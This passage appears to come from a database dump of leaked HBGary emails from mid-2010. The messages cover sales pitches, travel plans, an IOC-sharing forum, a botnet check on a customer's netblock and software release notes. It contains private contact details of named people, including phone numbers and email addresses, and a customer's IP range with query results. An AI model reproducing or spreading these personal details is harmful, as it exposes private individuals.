from\r\nyou.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatt ZellerSr. Account ManagerINPUT11720 Plaza America Drive, Suite 1200, Reston, Virginia 20190Direct: 703-707-4039; FAX: 703-707-6201mzeller@input.comhttp://www.input.comFollow us on Twitter @INPUTgovernment\r\nThis email and any files transmitted with it are confidential and are intended solely for the use of the individual or entity to which they are addressed.&nbsp; If you are not the intended recipient or the person responsible for delivering the email to the intended recipient, be advised that you have received this email and any such files in error and that any use, dissemination, forwarding, printing or copying of this email and/or any such files is strictly prohibited.&nbsp; If you have received this email in error please immediately notify postmaster@input.com and destroy the original message and any such files. \r\n{*}\r\n\r\n\r\n\r\n',1390,'aaron_hbgary_com/1390.html'),(8065,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006291.M513362P14101Q2920.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Sacramento','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you and Greg write up a small statement of work for the TMC\r\nso we can put that with the consulting contract for my paper trail?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, June 30, 2010 1:44 PM\r\nTo: Penny Leavy-Hoglund; Barr Aaron; Greg Hoglund\r\nSubject: Re: Sacramento\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI can change the itinerary Wed or Thur if we need to stay\r\nlonger.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow\'s this for a draft agenda:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTuesday (afternoon ~2:30-finished): &nbsp;Meet with you to\r\ndiscuss Web requirements.\r\n\r\n\r\n\r\n\r\n\r\nWed (all day): &nbsp;TMC with Shawn &amp; Martin\r\n\r\n\r\n\r\n\r\n\r\nThur: &nbsp;Ted &amp; Mark install/configure/ghost TMC\r\nserver and slave node for shipment to Colorado.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Wed, Jun 30, 2010 at 1:07 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nIs that going to be long enough?&nbsp;\r\nSeems kind of short.&nbsp; Also I want some changes to website, can mark stay\r\nlonger?&nbsp; If not can we walk through it on the phone?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Wednesday, June 30, 2010 12:04 PM\r\nTo: Greg Hoglund; Scott Pease; DeeAnn Buonaccorsi; Penny Leavy; Barr\r\nAaron; mark@hbgary.com\r\nSubject: Sacramento\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI\r\nbooked our travel for next week. &nbsp;Mark and I will arrive in Sacramento\r\nTuesday (July 6th) at 1:30pm and depart Thursday evening at 5:30pm.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15832,'aaron_hbgary_com/15832.html'),(8066,'2010-06-30','ted@hbgary.com','/aaron@hbgary.com/new/1297006291.M786382P14101Q2921.eml','aaron@hbgary.com','HBGary, Inc. Malware Investigation Report Form','\r\n\r\n\r\n                  Malware Investigation Report\r\n              \r\n\r\nI&#39;ve invited you to fill out the form HBGary, Inc.. To fill it out, visit:\r\n\r\nhttps://spreadsheets.google.com/a/hbgary.com/viewform?formkey=dEhMZXlIbkZjRm1WNVZ5VGw5TUhtSFE6MQ\r\n\r\n\r\n          .form-body{display:none;}\r\n        ',11326,'aaron_hbgary_com/11326.html'),(8067,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006292.M265103P14101Q2923.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Accenture integration','Penny,\r\n\r\nOk so I took a look in more detail at the accenture writeup and it\'s\r\nthe same old crap every other defense contractor is pitching.  We have\r\na framework that is vendor agnostic, federated framework, dashboard,\r\nblah blah.  What I don\'t see is any real capability other than active\r\ndefense.  They are relying on IDS, firewalls, etc for network.  I\r\ndon\'t know what blockhouse does.  When i went to their website the\r\nexplanation was well, vague.\r\n\r\nWe can certainly help to integrate AD into this stale architecture.\r\nIf they are really open to suggestions i can give them plenty.\r\n\r\n1.  How are they doing situational awareness on threats?\r\n2.  They need greater capability on the network and perimeter.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',1283,'aaron_hbgary_com/1283.html'),(8068,'2010-06-30','ted@hbgary.com','/aaron@hbgary.com/new/1297006292.M34840P14101Q2922.eml','aaron@hbgary.com','HBGary Forms','\r\n\r\nI\'ve shared HBGary Forms\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nHBGary Forms\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',10295,'aaron_hbgary_com/10295.html'),(8069,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006294.M591666P14101Q2924.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','My new iPhone','Care of shenzhen province, china.\r\n\r\nThis bothers me.\r\n',13720,'aaron_hbgary_com/13720.html'),(8070,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006294.M857063P14101Q2925.eml','all@hbgary.com','Adversary Tracking Center now online',' \r\nTeam,\r\n \r\nHBGary has started a forum where we can trade IOC&#39;s with our customer base and each other.  Customers of AD will be given access to this forum.\r\n \r\nYou can find the forum under the &quot;Community&quot; tab on www.hbgary.com.  The forum is called &quot;Adversary Tracking Center&quot;.\r\n \r\nYou need to be granted access in order to read or post.\r\n \r\nMark is adding the HBGary team members as we speak.\r\n \r\nIf you are involved in the IR practice, or perform back-end RE work for the IR team, please post your IOC&#39;s in this forum.  Make sure to NOT post any customer-specific data, of course - we must sanitize everything.  That said, the forum will provide a way for our customers to share IOC data, and will allow us to post sanitized IOC&#39;s from our various engagements.  Ultimately this will allow our AD customers to extract more value out of Active Defense.  Most adversaries will be attacking multiple customer sites and I expect we will see trends over time.\r\n\r\n \r\nIdeally, I want to see a single forum thread for each adversary / threat we identify.  I have seeded some posts already so you can get a feel for it.\r\n \r\nSales, Service, please provide Mark with a list of customers who will need access to the forum.  Any pilot of AD, of course.  Also, any site where we are performing an engagement.\r\n \r\nCheers,\r\n-Greg Hoglund\r\n \r\n',1513,'aaron_hbgary_com/1513.html'),(8071,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006295.M231780P14101Q2926.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Adversary Tracking Center now online','Greg,That is big.Hopefully we can get together next week.AaronFrom my iPhoneOn Jun 30, 2010, at 6:36 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nTeam,\r\n \r\nHBGary has started a forum where we can trade IOC&#39;s with our customer base and each other.  Customers of AD will be given access to this forum.\r\n \r\nYou can find the forum under the &quot;Community&quot; tab on www.hbgary.com.  The forum is called &quot;Adversary Tracking Center&quot;.\r\n\r\n \r\nYou need to be granted access in order to read or post.\r\n \r\nMark is adding the HBGary team members as we speak.\r\n \r\nIf you are involved in the IR practice, or perform back-end RE work for the IR team, please post your IOC&#39;s in this forum.  Make sure to NOT post any customer-specific data, of course - we must sanitize everything.  That said, the forum will provide a way for our customers to share IOC data, and will allow us to post sanitized IOC&#39;s from our various engagements.  Ultimately this will allow our AD customers to extract more value out of Active Defense.  Most adversaries will be attacking multiple customer sites and I expect we will see trends over time.\r\n\r\n\r\n \r\nIdeally, I want to see a single forum thread for each adversary / threat we identify.  I have seeded some posts already so you can get a feel for it.\r\n \r\nSales, Service, please provide Mark with a list of customers who will need access to the forum.  Any pilot of AD, of course.  Also, any site where we are performing an engagement.\r\n \r\nCheers,\r\n-Greg Hoglund\r\n \r\n\r\n',15152,'aaron_hbgary_com/15152.html'),(8072,'2010-06-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006295.M658183P14101Q2927.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: End Games','The run is complete.  We only found one hit, and it was from 2009.  I wouldn&#39;t bother sending this to the customer.  You may mention that we performed the query for all of their assigned IPs and did not see any botnet activity this year...\r\nNetblocks Queried:\r\n198.212.184.0;198.212.188.255Results:IP : 198.212.187.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 12:59:00 2009 GMT\r\nTedOn Wed, Jun 30, 2010 at 1:57 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you do United Technologies IP to see if there are\r\nbotnets.  Specifically Swvorski Helicopters???  This is Rocco’s account\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2316,'aaron_hbgary_com/2316.html'),(8073,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006295.M875516P14101Q2928.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Accenture integration','We need to update slides to reflect what integration would \"look\" like.  I\r\ncan get you in touch with  Richard.  I think you should talk to them.  They\r\nare pitching to a customer on Tuesday and want us there\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 30, 2010 2:51 PM\r\nTo: Penny Leavy; Greg Hoglund\r\nCc: Ted Vera\r\nSubject: Accenture integration\r\n\r\nPenny,\r\n\r\nOk so I took a look in more detail at the accenture writeup and it\'s\r\nthe same old crap every other defense contractor is pitching.  We have\r\na framework that is vendor agnostic, federated framework, dashboard,\r\nblah blah.  What I don\'t see is any real capability other than active\r\ndefense.  They are relying on IDS, firewalls, etc for network.  I\r\ndon\'t know what blockhouse does.  When i went to their website the\r\nexplanation was well, vague.\r\n\r\nWe can certainly help to integrate AD into this stale architecture.\r\nIf they are really open to suggestions i can give them plenty.\r\n\r\n1.  How are they doing situational awareness on threats?\r\n2.  They need greater capability on the network and perimeter.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',4952,'aaron_hbgary_com/4952.html'),(8074,'2010-06-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006296.M304011P14101Q2930.eml','\"JJ Cummings\" <jcummings@sourcefire.com>,\"JJ Cummings\" <jcummings@sourcefire.com>,,','Re: FW: FW: Hacker Group','Sorry for the delayed response, we had travel plans for next week and I needed to confirm the dates.  Unfortunately we&#39;ll be in Sacramento July 6-8th.  Can we plan for Aug 12th (2nd Thur in Aug)?Ted\r\nOn Tue, Jun 29, 2010 at 11:22 AM, JJ Cummings &lt;jcummings@sourcefire.com&gt; wrote:\r\nJuly or Aug? As of now the next meeting should e scheduled for the 2nd Thurs of JulyOn Tue, Jun 29, 2010 at 11:18 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nCan we schedule it for next month?On Tue, Jun 29, 2010 at 10:42 AM, Winterfeld, Steven P (TASC) &lt;steven.winterfeld@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed – do you want to do this? \r\n\r\n \r\n\r\n\r\n\r\nFrom: JJ Cummings\r\n[mailto:jcummings@sourcefire.com] \r\nSent: Monday, June 28, 2010 10:00 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nCc: Ted Vera\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\n\r\n\r\n \r\n\r\nFrom a numbers perspective generally 5 - 10 (trying to grow\r\nit).. and from a skill level perspective, all over the board.. ppl that know\r\nsecurity inside and out and those that are new / just dabbling..\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJJC\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:58 AM, Winterfeld, Steven P (TASC)\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\nJJ - can you give Ted a feel for the folks who would come...\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\nSent: Monday, June 28, 2010 9:57 AM\r\nTo: Winterfeld, Steven P (TASC)\r\n\r\n\r\n\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\nSo would it be this Thursday?  Let me talk to Mark.\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:51 AM, Winterfeld, Steven P (TASC)\r\n\r\n\r\n\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Do you want to try this week or shoot for next month?  If you&#39;re\r\nwilling to\r\n&gt; do it this week can you give me a paragraph I can share with the guys.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; PS - Is it OK to do it at your place?\r\n\r\n\r\n\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings [mailto:jcummings@sourcefire.com]\r\n\r\n\r\n\r\n&gt; Sent: Monday, June 28, 2010 9:47 AM\r\n\r\n\r\n\r\n\r\n\r\n&gt; To: Winterfeld, Steven P\r\n(TASC)\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I dunno, we should start pushing now... can you get a description and shit\r\n&gt; so that we can send out to the list...\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:45 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; Do we have a plan?  How many folks do you think we will get if we\r\nannounce\r\n&gt; he will show off HBGary tools?   Would hate to ask him to demo\r\nand have just\r\n&gt; us show up...\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings [mailto:jcummings@sourcefire.com]\r\n&gt; Sent: Monday, June 28, 2010 9:17 AM\r\n&gt;\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt;\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I think in an upcoming Thurs.. instead of the scheduled Fri we have moved\r\nto\r\n&gt; Thur\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:15 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; JJ\r\n&gt;\r\n&gt; When do you want to have the next hacker group meeting?  Ted is willing\r\n&gt; to demo his system (think we could use his office to have the meeting\r\n&gt; down town.  It is within walking distance of the bars...\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Monday, June 28, 2010 8:29 AM\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt; Subject: Hacker Group\r\n&gt;\r\n&gt; Hi Steve,\r\n&gt;\r\n&gt; I&#39;m back in the office and was wondering when your next hacker meeting\r\n&gt; is?  Mark and I need to travel to Sacramento sometime either late this\r\n&gt; week or early next.\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nJJ Cummings\r\nP: (719) 924-5263\r\njj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',1929,'aaron_hbgary_com/1929.html'),(8075,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006296.M569551P14101Q2931.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: hbgary','Hi Dave,\r\n\r\nJust making sure we are still on.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jun 28, 2010, at 10:11 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> How about the American Tap Room (across the street from Google)... say\r\n> 7-7:15 hrs...\r\n>\r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 28, 2010 9:05 AM\r\n> To: Merritt, David CTR OSD CIO\r\n> Subject: Re: hbgary\r\n>\r\n> Sure sounds good.  A particular place you like?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jun 28, 2010, at 8:51 AM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Can you do wednesday evening in reston town center?\r\n>>\r\n>> Wife and kids have the suv headed to NC tuesday evening.\r\n>>\r\n>> Dave\r\n>>\r\n>> --------------------------\r\n>> David D. Merritt, CISSP, CISM, ITIL\r\n>> Office of the Secretary of Defense\r\n>> 703.699.3568\r\n>>\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Merritt, David CTR OSD CIO\r\n>> Sent: Wed Jun 23 18:45:47 2010\r\n>> Subject: Re: hbgary\r\n>>\r\n>> Ok.  I have a late dinner scheduled.  How about monday or Tuesday?\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Jun 23, 2010, at 8:48 AM, \"Merritt, David CTR OSD CIO\"\r\n>>  wrote:\r\n>>\r\n>>> It would be somewhere around 7...\r\n>>>\r\n>>> Dave\r\n>>> -----------------------------------\r\n>>> David D. Merritt, CISSP, CISM, ITIL\r\n>>> OSD CIO IA\r\n>>> 703-697-2051 :desk\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, June 22, 2010 9:30 PM\r\n>>> To: Merritt, David CTR OSD CIO\r\n>>> Subject: Re: hbgary\r\n>>>\r\n>>> Dave,\r\n>>>\r\n>>> I forgot to send you Greg\'s presentation.\r\n>>>\r\n>>> Do you have time to grab a drink after work on Friday?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n',3006,'aaron_hbgary_com/3006.html'),(8076,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006296.M77521P14101Q2929.eml','richard.ricart@accenture.com,richard.ricart@accenture.com','RE: Slides','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you just want slides on DDNA\r\nor how it integrates?&nbsp; I have TONS of slides on how DDNA works.&nbsp; I also got\r\ncomments back from Aaron Barr (he was cybersecurity director for TASC he works\r\nfor us now)&nbsp; He saw some areas that you could beef up.&nbsp; Do you want to talk to\r\nhim?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nrichard.ricart@accenture.com [mailto:richard.ricart@accenture.com] \r\nSent: Wednesday, June 30, 2010 1:58 PM\r\nTo: penny@hbgary.com\r\nSubject: Slides\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nSorry I missed the call today.&nbsp; If you have some slides\r\nmade up please send them to me.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505\r\nLake Lynda Drive, Suite 115\r\n\r\nOrlando,\r\nFL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4873,'aaron_hbgary_com/4873.html'),(8077,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006296.M789026P14101Q2932.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','DoD Defense Contractors','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSo Mandiant sold a corporate license to General Dynamics and\r\nit talking to a lot of other system integrators.&nbsp; How come we can&#8217;t sell\r\nto these people?&nbsp; Do you guys know any CISO&#8217;s at competing places?&nbsp; Bob\r\nneeds help getting in here.&nbsp; Like BAE or Booz, or Lockheed etc\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15085,'aaron_hbgary_com/15085.html'),(8078,'2010-07-01','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006297.M23932P14101Q2933.eml','\"Greg Hoglund\" <greg@hbgary.com>,all@hbgary.com','Re: Adversary Tracking Center now online','Excellent news.\r\n\r\nOn 6/30/10, Greg Hoglund  wrote:\r\n> Team,\r\n>\r\n> HBGary has started a forum where we can trade IOC\'s with our customer base\r\n> and each other.  Customers of AD will be given access to this forum.\r\n>\r\n> You can find the forum under the \"Community\" tab on www.hbgary.com.  The\r\n> forum is called \"Adversary Tracking Center\".\r\n>\r\n> You need to be granted access in order to read or post.\r\n>\r\n> Mark is adding the HBGary team members as we speak.\r\n>\r\n> If you are involved in the IR practice, or perform back-end RE work for the\r\n> IR team, please post your IOC\'s in this forum.  Make sure to NOT post any\r\n> customer-specific data, of course - we must sanitize everything.  That said,\r\n> the forum will provide a way for our customers to share IOC data, and will\r\n> allow us to post sanitized IOC\'s from our various engagements.  Ultimately\r\n> this will allow our AD customers to extract more value out of Active\r\n> Defense.  Most adversaries will be attacking multiple customer sites and I\r\n> expect we will see trends over time.\r\n>\r\n> Ideally, I want to see a single forum thread for each adversary / threat we\r\n> identify.  I have seeded some posts already so you can get a feel for it.\r\n>\r\n> Sales, Service, please provide Mark with a list of customers who will need\r\n> access to the forum.  Any pilot of AD, of course.  Also, any site where we\r\n> are performing an engagement.\r\n>\r\n> Cheers,\r\n> -Greg Hoglund\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',6471,'aaron_hbgary_com/6471.html'),(8079,'2010-07-01','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006298.M887974P14101Q2934.eml','\"Barr Aaron\" <aaron@hbgary.com>','Solar','\r\n\r\n',14043,'aaron_hbgary_com/14043.html'),(8080,'2010-07-01','\"William Luti\" <williamluti@verizon.net>','/aaron@hbgary.com/new/1297006299.M104157P14101Q2935.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meet','Thanks Aaron this is quite helpful. And thanks for making the introduction to David. I\'ll have Ken Bajaj\'s assistant (Barbara Barnes) give you a call to find a convenient time that I can introduce you to Ken. You\'ll enjoy the discussion. And stay in touch. Best, Bill\r\nOn Jun 30, 2010, at 9:38 AM, Aaron Barr wrote:\r\n\r\n> Sounds good.\r\n> \r\n> Attached is our general services offering datasheet and a presentation I gave at the NSA REBL conference a few weeks ago.  The presentation was such a hit I am building a specific capability around social media which includes a training course for organizations and services capability for blue and red teams to monitor information exposure and develop capabilities to test information control.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> \r\n> \r\n> On Jun 30, 2010, at 9:33 AM, William Luti wrote:\r\n> \r\n>> Thanks Aaron. Might be best if I have Ken\'s assistant (Barbara Barnes) give you a call as she handles Ken\'s schedule. But I would hope we could do it later this week or certainly next week. Thanks again. Bill\r\n>> On Jun 30, 2010, at 9:13 AM, Aaron Barr wrote:\r\n>> \r\n>>> Hi Bill,\r\n>>> \r\n>>> Sorry I dropped the ball and didn\'t get you some information you asked for.\r\n>>> \r\n>>> On Mandiant I don\'t have a lot of good contacts at the senior level, since they are our biggest competitor we haven\'t reached out to them a lot.\r\n>>> \r\n>>> On Fidelis, start with David Etue .  Dave just left FIdelis to open is own consulting practice but he is good friends with the Founder and still a significant owner of the company.\r\n>>> \r\n>>> I am downtown most of today for a few meetings.  What date/time were you thinking?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Jun 30, 2010, at 8:58 AM, William Luti wrote:\r\n>>> \r\n>>>> Aaron, are you in Bethesda today? I\'ll be in the office there most of the day. Would like to make arrangements for you to meet Ken Bajaj. I trust all is well. Best, Bill\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',75,'aaron_hbgary_com/75.html'),(8081,'2010-07-01','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297006299.M336849P14101Q2936.eml','all@hbgary.com','ActiveDefense 1.1.0.104 is live!','Active Defense version 1.1.0.104 is now live! This patch includes a bunch of new features and bug fixes including:New &quot;Request File&quot; feature allows you to download files found in RawVolume.File scans. These files will show up in the &quot;Requested Files&quot; tab on the system details page found when a system is clicked on the main systems page.\r\nYou can now download the last memory dump from systems. This is done by clicking the &quot;Request Last Memory Dump&quot; option in the dropdown box in the system details page. The requested memory dumps will show up in the &quot;Requested Files&quot; tab.\r\nNew setting on the settings page allows you to set the default scan priority.Added in a Strings and Binary view for Requested Files. To view this, go to the Requested Files page and click on any of the requested files that are ready for download to popup this page.\r\nAdded in ability to multi-select queries in Scan Policies and Reports.Added ability to import and export queries in XML format from both the Scan Policy page and the Report page.New &quot;Show in subgroups&quot; checkbox allows you to see all machines in the currently selected group and any subgroups.\r\nDashboard page has been updated and now shows Server Status. Here you can get information on any pending node updates, installs, and removals.Added in integrated Google search on module and process names from the System Details page, in addition to Google search options in the Strings and Binary popup windows for modules and requested files.\r\nAdded in an option in the Systems page actions menu that allows you to update the DDNA agent on your entire network with one button click.Known issue: Offset restrictor does not work for Binary scans.\r\n-Engineering\r\n',9601,'aaron_hbgary_com/9601.html'),(8082,'2010-07-01','\"LinkedIn Updates\" 